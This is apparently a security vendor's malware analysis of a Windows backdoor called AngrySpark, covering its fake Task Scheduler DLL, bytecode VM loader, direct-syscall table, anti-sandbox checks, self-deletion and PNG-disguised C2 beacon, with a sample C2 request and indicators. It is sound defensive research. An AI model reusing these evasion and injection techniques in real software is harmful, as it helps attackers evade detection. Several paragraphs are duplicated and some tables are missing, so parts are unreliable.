Chasing an Angry Spark

In the spring of 2022, our anti-rootkit engine flagged something unusual inside a svchost.exe process on a machine in the United Kingdom. A chunk of memory -roughly 32 kilobytes- was making direct NtQuerySystemInformation syscalls, bypassing every usermode hook we had in place. When we pulled the memory dump and opened it in a disassembler, we found not just shellcode, but an entire virtual machine: a custom bytecode interpreter running a 25-kilobyte program, decoding its own payload on the fly, resolving APIs through hash lookups, and checking for hypervisors before executing a single line of its real code.

We named it AngrySpark -after the C++ namespace angry_spark found in the RTTI metadata of the DLL that delivered it. Over the following year, we captured three memory snapshots from the same host, watched its C2 infrastructure evolve, and eventually saw the connection get blocked. Then it vanished. No new samples. No new infrastructure. No second victim. Just a single spark in the dark.

This is the story of how we took it apart.

Why AngrySpark matters

Most backdoors pick a lane. AngrySpark built three of them. The DLL, the VM, and the beacon each carry their own encryption, their own API resolution, and their own C2 channel. Compromise one layer and the other two remain opaque.

That architecture is what elevates it from a well-built backdoor to something worth writing up. The payload is assembled from bytecode at runtime, so the operator can swap out the final-stage binary, change the API set, add anti-analysis checks, or rotate C2 URLs by pushing a new 25KB blob. The 6.5KB loader never changes. It behaves more like a deployment framework than a conventional dropper.

The other reason it matters is the mismatch between effort and scope. The engineering is serious: a VM-based deployment framework, dual encrypted C2 channels, CET-aware anti-analysis, runtime code patching, and direct syscalls with a 24-build compatibility table. Yet it appeared on a single machine in the United Kingdom, ran for about a year, and disappeared when its infrastructure expired.

No public malware repository carried the DLL during its operational life, and no other vendor published on it. That does not make AngrySpark more important than broader campaigns, but it does make it unusually revealing. It looks like high-effort malware deployed with a very limited visible footprint.

The architecture at a glance

AngrySpark operates as a three-stage system. A DLL masquerading as a Windows component loads via the Task Scheduler, decrypts its configuration from the registry, and injects position-independent shellcode into svchost.exe. That shellcode implements a virtual machine. The VM processes a 25KB blob of bytecode instructions, decoding and assembling the real payload -- a beacon that profiles the machine, phones home over HTTPS disguised as PNG image requests, and can receive encrypted shellcode for execution.

Each stage is designed to be independently replaceable. The VM's bytecode format means the operator can swap out the payload, change the configuration, rotate C2 URLs, or add new anti-analysis checks -- all without modifying a single byte of the loader code.

Stage 0, the DLL loader

The entry point is a 200KB DLL named WptsExtensions.dll, the exact name of a legitimate Windows Task Scheduler extension library. It exports the same five functions (WptsCopyActionData, WptsCreateAction, WptsDestroyAction, WptsFreeActionData, WptsLaunchAction) and spoofs its version info as "Microsoft Corporation, v10.0.19041.1023".

After loading its configuration, the DLL injects the VM shellcode into a svchost.exe service host process. The injected code is entirely position-independent. It carries its own API resolver, its own exception handler, and its own syscall dispatcher. No imports, no relocations, no PE headers.

Stage 1, the virtual machine

The VM loader is a ~6.5KB position-independent shellcode that implements a bytecode interpreter. It reads instructions sequentially from a 25KB configuration blob, dispatching each to a handler function. The blob contains approximately 190 entries (VM instructions) encoded in a custom format.

The May 2022 variant has 23 entries (syscall tables. Between May and June 2022, the operator added a single entry: build 20344, a Windows 10 Insider preview from the Iron/Cobalt development cycle -- the branch that became Windows 11. The June and January variants are identical (24 entries, table at 0x13A2).

This tells us two things. First, the operator was actively maintaining the syscall table and testing against Insider builds during May-June 2022. Second, they stopped updating after that. Builds above 22000 (Win11 22H2, 23H2) are not covered, and the entry-point guard rejects them outright. The shellcode was frozen sometime in mid-2022.

Stage 2, the beacon

The assembled payload is a 27KB position-independent shellcode with 74 functions. It implements a full C2 beacon with system profiling, encrypted communication, and remote code execution.

The beacon disguises its check-in as a request for a PNG image:

The encrypted shellcode is decrypted with the second XXTEA key from the configuration, then executed in freshly allocated memory. After execution, the results are XXTEA-encrypted and sent back via HTTP POST to a separate .php endpoint.

Stealth, anti-analysis, and self-removal

AngrySpark is not only modular, it is also careful about how it appears to defenders. Several design choices look specifically aimed at frustrating clustering, bypassing instrumentation, and limiting the forensic residue left behind.

The binary's PE metadata has been deliberately altered to confuse toolchain fingerprinting.

Notable defensive friction points

• The PE timestamp is falsified, and the Rich header was modified after compilation in a way that breaks straightforward toolchain fingerprinting.
• The shellcode uses direct syscalls to get around usermode API hooks.
• The VM includes hypervisor checks and CET or Shadow Stack aware anti-analysis logic.
• The DLL pins the C2 server's TLS certificate fingerprint, reject          ing connections to anything that does not match the expected infrastructure. If someone sinkholed the domain or stood up a proxy with a different certificate, the DLL would refuse to talk.
• The loader can remove itself if contact goes stale or if the server explicitly tells it to do so.

The heartbeat serves a second purpose: it is a dead man's switch. On each beacon cycle, the DLL compares the current time against the stored heartbeat. If the difference exceeds a configurable threshold (stored as a day count in the config blob, multiplied by 864000000000 -- one day in 100-nanosecond FILETIME intervals), the DLL enters its self-destruct sequence: it wipes the encrypted registry blob via RegDeleteValue, then schedules its own DLL file for deletion on the next reboot using MoveFileExW with the MOVEFILE_DELAY_UNTIL_REBOOT flag. Before that, it impersonates itself with SeSecurityPrivilege, SeRestorePrivilege, and SeTakeOwnershipPrivilege, moves the DLL to a temp directory, and restricts its permissions.

There is a second trigger. If the C2 server responds with HTTP 200 (rather than the expected 302 redirect that delivers encrypted commands), the DLL treats this as a server-side kill command. It runs the same cleanup: wipe registry, schedule file deletion, exit. The normal operating response is a 302 redirect whose Location header provides the URL for the encrypted payload exchange.

In other words: a 200 means "acknowledged, self-destruct," and a 302 means "here are your orders." No contact at all for too long also means self-destruct. The operator built the backdoor to vanish automatically if it lost its handler -- which is exactly what happened in April 2023.

Command and control design, and how the operation evolved

AngrySpark uses two separate C2 channels, each with its own domain, IP address, and encryption layer.

The two C2 channels don't share anything except a hosting provider. AES-256-CBC + RSA-4096 on one side, XXTEA + custom Base64 + PNG steganography on the other. Different encryption, different protocols, different domains, different IPs, all within the same 185.151.28.0/22 range. The custom Base64 alphabet rotates with each configuration update, so there's no fixed encoding to write a signature against.

Each configuration update carried new randomized URL paths, though the domain and C2 structure remained consistent:

The pattern is clear: random 6-8 character slug, incrementing 4-digit counter, random filename. Combined with a custom Base64 alphabet that also rotates per update, this defeats static network signatures while maintaining a recognizable structure for the operator.

The timeline suggests active maintenance in mid-2022, followed by a freeze in the shellcode and continued rotation only in the configuration and network paths. Then the infrastructure stopped being renewed. That sequence matters because it makes the disappearance look operational, not accidental.

What we still do not know

Yet it appeared on a single machine in the United Kingdom, ran for about a year, and disappeared when its infrastructure expired. The DLL never surfaced in any public malware archive. No other vendor has published on it.

Was it a targeted operation that achieved its objective and was burned? A test deployment that was abandoned? A contractor's proof of concept? We don't know.

What we do know is that somewhere in the RTTI metadata of a tampered DLL, someone chose the namespace angry_spark and the exception class sombrely_exception. They built a virtual machine to deploy their payload, wrapped it in three layers of encryption, hid their commands inside PNG images, and then -- quietly, sombrely -- let it all expire. What we do know is that somewhere in the RTTI metadata of a tampered DLL, someone chose the namespace angry_spark and populated it with nine C++ classes: BCryptSymmetricKey, BCryptAsymmetricKey, BCryptKey, crypto_exception, connection_exception, wininet_exception, angry_spark_exception, bad_config_exception, and -- curiously -- sombrely_exception. They built a virtual machine to deploy their payload, wrapped it in three layers of encryption, hid their commands inside PNG images, and then -- quietly, sombrely -- let it all expire.

The spark went out. But the code remains.

For readers who want the deeper reverse engineering detail, the appendix below preserves the underlying technical observations, tables, and selected code fragments from the working draft in a more reference-oriented format.

Technical Appendix

Appendix A. Detailed Stage 0 notes

The entry point is a 200KB DLL named WptsExtensions.dll, the exact name of a legitimate Windows Task Scheduler extension library. It exports the same five functions (WptsCopyActionData, WptsCreateAction, WptsDestroyAction, WptsFreeActionData, WptsLaunchAction) and spoofs its version info as "Microsoft Corporation, v10.0.19041.1023".

The DLL was never uploaded to VirusTotal. It remained invisible to the public threat intelligence ecosystem for the entirety of its operational life.

The DLL stores its encrypted configuration in the Windows registry under a path that itself is encrypted.

A heartbeat timestamp (FILETIME) at bytes 0-7 of the registry value is updated after each successful beacon, allowing the operator to track the last check-in time.

The heartbeat serves a second purpose: it is a dead man's switch. On each beacon cycle, the DLL compares the current time against the stored heartbeat. If the difference exceeds a configurable threshold (stored as a day count in the config blob, multiplied by 864000000000 -- one day in 100-nanosecond FILETIME intervals), the DLL enters its self-destruct sequence: it wipes the encrypted registry blob via RegDeleteValue, then schedules its own DLL file for deletion on the next reboot using MoveFileExW with the MOVEFILE_DELAY_UNTIL_REBOOT flag. Before that, it impersonates itself with SeSecurityPrivilege, SeRestorePrivilege, and SeTakeOwnershipPrivilege, moves the DLL to a temp directory, and restricts its permissions.

There is a second trigger. If the C2 server responds with HTTP 200 (rather than the expected 302 redirect that delivers encrypted commands), the DLL treats this as a server-side kill command. It runs the same cleanup: wipe registry, schedule file deletion, exit. The normal operating response is a 302 redirect whose Location header provides the URL for the encrypted payload exchange.

In other words: a 200 means "acknowledged, self-destruct," and a 302 means "here are your orders." No contact at all for too long also means self-destruct. The operator built the backdoor to vanish automatically if it lost its handler -- which is exactly what happened in April 2023.

After loading its configuration, the DLL injects the VM shellcode into a svchost.exe service host process. The injected code is entirely position-independent. It carries its own API resolver, its own exception handler, and its own syscall dispatcher. No imports, no relocations, no PE headers.

Appendix B. Detailed Stage 1 notes

The VM loader is a ~6.5KB position-independent shellcode that implements a bytecode interpreter. It reads instructions sequentially from a 25KB configuration blob, dispatching each to a handler function. The blob contains approximately 190 entries encoded in a custom format:

The VM implements 22 distinct opcodes -- a complete deployment toolkit:

A typical blob is processed in phases:

Every string, API name, DLL name, and code chunk in the blob is encoded with a cascading XOR cipher. The format is deceptively simple:

[total_length: 1 byte][data: N bytes][checksum1: 1 byte][checksum2: 1 byte]

The two checksum bytes double as XOR keys. Decoding works backwards through the data, using separate key chains for even and odd byte positions. After decoding, the original checksums are recomputed using seeds 0x23 and 0xA5 and verified against the saved keys. If either mismatches, the entry is rejected.

The maximum decoded payload is 253 bytes (limited by the single-byte length field). This is why the 27KB payload requires 93 separate DECODE_COPY instructions.

The VM resolves all APIs by walking the Process Environment Block (PEB), iterating loaded modules, and comparing DJB2 hashes of export names:

hash = 5381
for byte in name:
hash = (hash * 33 + byte) & 0xFFFFFFFF

Two variants exist: one for UNICODE_STRING (with case folding via | 0x20), used to find DLLs by name, and one for ASCII byte strings, used to match export table entries.

To bypass usermode API hooks, the loader includes a syscall instruction wrapper with a hardcoded build-number-to-syscall-number table:

We extracted and compared the syscall table from all three memory dumps. The tables are almost identical, with one revealing difference:

mov r10, [rsp+38h] ; table entry pointer
movzx eax, word ptr [r10+2] ; syscall number
mov r10, rcx ; first argument
syscall
ret

The May 2022 variant has 23 entries (table at offset 0x1312). Between May and June 2022, the operator added a single entry: build 20344, a Windows 10 Insider preview from the Iron/Cobalt development cycle -- the branch that became Windows 11. The June and January variants are identical (24 entries, table at 0x13A2).

This tells us two things. First, the operator was actively maintaining the syscall table and testing against Insider builds during May-June 2022. Second, they stopped updating after that. Builds above 22000 (Win11 22H2, 23H2) are not covered, and the entry-point guard rejects them outright. The shellcode was frozen sometime in mid-2022.

The VM scans msvcrt.dll's code sections for a specific 12-byte x64 instruction pattern:

48 8D 15 XX XX XX XX lea rdx, [rip + offset] ; string ptr
48 8B C8 mov rcx, rax
FF 15 YY YY YY YY call [rip + offset] ; indirect call

When a match is found, the VM XOR-decodes a target string, compares it against the data at the lea target, and if it matches, captures the indirect call target -- provided it points into KERNELBASE.dll or KERNEL32.dll. This hijacks specific CRT internal function pointers for exception dispatch, allowing the loader to intercept control flow without modifying the exception handler chain.

Before any payload code runs, the VM applies several checks:

The RDSSPQ instruction reads the Shadow Stack Pointer. Intel's Control-flow Enforcement Technology (CET) is primarily found in instrumented environments and certain hypervisors, so a non-zero SSP is a strong signal that the code is running under analysis or in a hardened VM.

During our emulation of the VM bytecode, three instruction types initially defied classification:

Type 21 is the anti-sandbox kill switch. The 4-byte parameter controls it: when set to 0, the VM checks for a hypervisor (via CPUID) and a non-zero Shadow Stack Pointer (via the RDSSPQ instruction). If both are detected on Windows 10 version 2004 or later, the entire loader aborts with error code 0xAACFBB1A. This is a targeted anti-sandbox technique -- most analysis environments running recent Windows versions with hardware-assisted security features would trigger this check.

Appendix C. Detailed Stage 2, infrastructure, and configuration notes

The assembled payload is a 27KB position-independent shellcode with 74 functions. It implements a full C2 beacon with system profiling, encrypted communication, and remote code execution.

Nine data collectors run in sequence, each appending results to a session packet:

The process enumeration has a fallback chain. It first tries the Toolhelp API (CreateToolhelp32Snapshot, Process32FirstW/Process32NextW). If that fails, it falls back to NtQuerySystemInformation with information class 5 (SystemProcessInformation), walking the linked list of SYSTEM_PROCESS_INFORMATION structures. Each process name is hashed with MD5 (via the CryptoAPI), and the hash is added to the session packet.

Collected data flows through a multi-stage encryption pipeline before transmission:

The XXTEA implementation uses the standard 32-round Feistel structure with a 128-bit key derived from the configuration. The custom Base64 alphabet changes with each configuration update, which defeats signature-based network detection without adding any complexity to the protocol.

The beacon disguises its check-in as a request for a PNG image:

GET /assets/static/img/I4o8Pp_41.png HTTP/1.1
Host: pick.storewebzone.net
User-Agent: wininet/10.0.19044
Cache-Control: no-cache
Connection: Keep-Alive

The server's response contains actual PNG data, but with a custom chunk type. The payload scans for the magic byte 0xA1 followed by a 24-byte header:

The encrypted shellcode is decrypted with the second XXTEA key from the configuration, then executed in freshly allocated memory. After execution, the results are XXTEA-encrypted and sent back via HTTP POST to a separate .php endpoint.

The payload uses a packet protocol with 22 entry types for serializing collected data:

Each entry is prefixed with a type byte and length, forming a TLV (Type-Length-Value) structure that the C2 server parses to reconstruct the victim's profile.

AngrySpark uses two separate C2 channels, each with its own domain, IP address, and encryption layer.

The parent domain server-sys.com was registered in June 2021 through Tucows with WHOIS privacy protection. Several related subdomains (ss1., api., bs.) were observed on the same IP, suggesting purpose-built infrastructure.

Both IPs fall within the same 185.151.28.0/22 range, suggesting the operator rented multiple VPS instances from the same UK-based hosting provider.

Each configuration update carried new randomized URL paths, though the domain and C2 structure remained consistent:

The pattern is clear: random 6-8 character slug, incrementing 4-digit counter, random filename. Combined with a custom Base64 alphabet that also rotates per update, this defeats static network signatures while maintaining a recognizable structure for the operator.

The VM writes 16 configuration key-value pairs into the payload's data segment:

Two distinct XXTEA keys serve different purposes: key #1 encrypts outbound data (system profiles), while key #2 decrypts inbound payloads (shellcode from the server). This separation means compromising one key doesn't expose the other direction of communication.

Three memory snapshots, each captured months apart, tell the story of a living operation:

May 2022: The first variant uses NtQuerySystemInformation(40) (SystemCodeIntegrityInformation). The shellcode prologue differs from later versions. Syscall table has 23 entries, no Insider builds.

June 2022: Rewritten loader with a different code structure but identical C2 domain. URL paths rotated. Syscall table gains one entry: build 20344 (Win10 Insider Fe/Co), bumping it to 24 entries. The operator was actively updating both code and compatibility data.

January 2023: Same code as June 2022 (identical syscall table), but the NtQuerySystemInformation argument changed to class 10 (SystemModuleInformation) and URLs rotated again. The code was frozen; only the configuration blob changed.

By April 2023, the C2 connection was blocked. By May, the beacon domain expired. By June, the DLL's C2 certificate expired. The infrastructure was never renewed.

Appendix D. Indicators

The full list of indicators is available in our GitHub repository. Key indicators are listed below.

File Indicators

Network Indicators

Host Indicators